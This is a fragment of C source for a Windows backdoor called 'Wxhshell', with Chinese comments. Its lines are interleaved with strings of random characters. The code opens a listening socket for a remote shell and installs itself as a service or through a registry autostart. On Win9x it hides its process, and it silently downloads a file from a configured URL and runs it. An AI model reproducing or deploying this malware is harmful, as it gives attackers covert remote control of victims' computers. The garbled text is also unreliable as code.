cbNeeded; -932[+ (S8hr,%n if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mV|Z5 =f ~Hvf"bvK| CloseHandle(hProcess); K QCF " */j[n$K>~` if(strstr(procName,"services")) return 1; // 以服务启动 +K48c,gt? BP=<TRp. return 0; // 注册表启动 .2SD)<}(9 } aPHNX) nBtKSNT#Q // 主模块 te+r.(p int StartWxhshell(LPSTR lpCmdLine) gP?.io9Oi { " (yw(/ SOCKET wsl; m]&y&oz BOOL val=TRUE; u XVs<im int port=0; v dPb-z4 struct sockaddr_in door; s}?QA cC j=Z;M1 if(wscfg.ws_autoins) Install(); J'*`K>wV v4r%'bA port=atoi(lpCmdLine); .`^wRpa2M i*e'eZ;) if(port<=0) port=wscfg.ws_port; a>#]d _^p\
u WSADATA data; u(g9-O if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EO"G(v (#rhD} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4B@Ir)^(* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >uwd3XW5 door.sin_family = AF_INET; 4)d"}j door.sin_addr.s_addr = inet_addr("127.0.0.1"); +krDmU9( door.sin_port = htons(port); bEb+oRI IhXP~C6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^@;P -0Sy closesocket(wsl); R?8/qGSVqJ return 1; nQd~i0`vB } gqDSHFm: T*rz#O if(listen(wsl,2) == INVALID_SOCKET) { S{UEV7d:n0 closesocket(wsl); M+WN \.2pX return 1; gNSsT]) } R
RnT.MU Wxhshell(wsl); yAu.=Eo7 WSACleanup(); +z+u=)I T<U_Iq return 0; 2Jqr"|sw y>&
s; } `Lr|KuFN [ip}f4K // 以NT服务方式启动 a4eE/1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )
-@Dh6F { Zi.w+V DWORD status = 0; }kMKA.O" DWORD specificError = 0xfffffff; 0f"la=6 >(a[b@[K serviceStatus.dwServiceType = SERVICE_WIN32; <'vtnz serviceStatus.dwCurrentState = SERVICE_START_PENDING; **F-#", serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I1W~;2cK serviceStatus.dwWin32ExitCode = 0; <Gz* 2i serviceStatus.dwServiceSpecificExitCode = 0; +{cCKRm serviceStatus.dwCheckPoint = 0; V(OD^GU serviceStatus.dwWaitHint = 0; s;xErH@RA ^o Q^/v~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RT"JAJTi/ if (hServiceStatusHandle==0) return; $#FA/+<&$ Cd7l+~*Y status = GetLastError(); )gNVJ if (status!=NO_ERROR) r_3=+ { Y{2L[5_1 serviceStatus.dwCurrentState = SERVICE_STOPPED; =8EGB\P serviceStatus.dwCheckPoint = 0; 7
'{wl,u serviceStatus.dwWaitHint = 0; cTLW}4m%g serviceStatus.dwWin32ExitCode = status; La\|Bwx serviceStatus.dwServiceSpecificExitCode = specificError; A<{&?_U SetServiceStatus(hServiceStatusHandle, &serviceStatus); WP4"$W return; ,pa=OF } #A^(1 J;Eg"8x] serviceStatus.dwCurrentState = SERVICE_RUNNING; 1qh SN#s{_ serviceStatus.dwCheckPoint = 0; q[%SF=~<k{ serviceStatus.dwWaitHint = 0; $i$Z+-W4' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U9h@1: } Sxcp
[g; >{#QS"J# // 处理NT服务事件,比如:启动、停止 y-o54e$4Cq VOID WINAPI NTServiceHandler(DWORD fdwControl) k
Hh0&~( { 9~}.f1z switch(fdwControl) 6<9gVh<=w { yGlOs]>n case SERVICE_CONTROL_STOP: 6Wc.iomx8 serviceStatus.dwWin32ExitCode = 0; 90!67Ap`x serviceStatus.dwCurrentState = SERVICE_STOPPED; -{eI6#z|\A serviceStatus.dwCheckPoint = 0; lNB<_SO serviceStatus.dwWaitHint = 0; .<.#g+ { 7DIFJJE' SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mgg m~|9) } <[tU.nh return; S3?U-R^` case SERVICE_CONTROL_PAUSE: 9/6=[) serviceStatus.dwCurrentState = SERVICE_PAUSED; I|)U>bV break; AHn
Yfxv_ case SERVICE_CONTROL_CONTINUE: nrCr9# serviceStatus.dwCurrentState = SERVICE_RUNNING; 2w>yW] break; YfVZ59l4y6 case SERVICE_CONTROL_INTERROGATE: bw OG|\ break; ?V4bz2#!1O }; R<e ~Cb- SetServiceStatus(hServiceStatusHandle, &serviceStatus); pSS8 %r%S' } "M=1Eb$6= n<Z1i) // 标准应用程序主函数 {'[S.r` int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fk(h*L|sI {
@+!u{ w7yz4_:x^ // 获取操作系统版本 %#@5(_' OsIsNt=GetOsVer(); h3P ^W(=& GetModuleFileName(NULL,ExeFile,MAX_PATH); C7_#D O6" :PQvt/-'(D // 从命令行安装 zl!Y(o!@ if(strpbrk(lpCmdLine,"iI")) Install(); 4_h?E:sBb KNqs=:i // 下载执行文件 X>ck.}F if(wscfg.ws_downexe) { '%[r 9w if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EGK7)O'W WinExec(wscfg.ws_filenam,SW_HIDE); yn.f?[G2 } <{1=4PA Pe?b#
G if(!OsIsNt) { 1ika' // 如果时win9x,隐藏进程并且设置为注册表启动 g)^g_4 HideProc(); M]A!jWtE StartWxhshell(lpCmdLine); YCo qe,5 } j~k+d$a else i3o;G"IcD if(StartFromService()) ,=`iQl3(y/ // 以服务方式启动 &9\8IR > StartServiceCtrlDispatcher(DispatchTable); e2L4E8ST< else qruv^#_l // 普通方式启动 .@3bz
StartWxhshell(lpCmdLine); 9AHxa Ae>:i7.V return 0; i
E)Fo.H }
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